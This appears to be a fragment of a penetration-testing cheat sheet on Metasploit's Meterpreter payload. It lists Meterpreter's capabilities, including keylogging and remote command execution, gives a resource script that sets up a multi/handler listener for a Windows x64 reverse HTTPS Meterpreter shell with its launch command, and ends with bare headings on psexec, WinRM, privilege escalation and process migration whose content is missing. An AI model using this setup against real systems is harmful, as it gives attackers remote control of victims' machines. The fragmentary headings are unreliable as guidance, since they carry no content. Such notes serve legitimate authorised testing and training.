Meterpreter is a payload that uses in-memory DLL injection to stealthfully establish a communication channel between an attack box and a target. The proper credentials and attack vector can give us the ability to upload & download files, execute system commands, run a keylogger, create/start/stop services, manage processes, and more.
Metasploit Resource Script
Next, save the below commands to a Resource Script file named handler.rc.
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST <our_ip>
set LPORT 8443
exploit
Launching Metasploit with Resource Script
sudo msfconsole -r handler.rc
port scan
psexec
portscan
ssh
mssql
winrm
To use meterpreter
After taking a shell
For enumeration
For privilege escalation
migrate to process after taking a meterpreter shell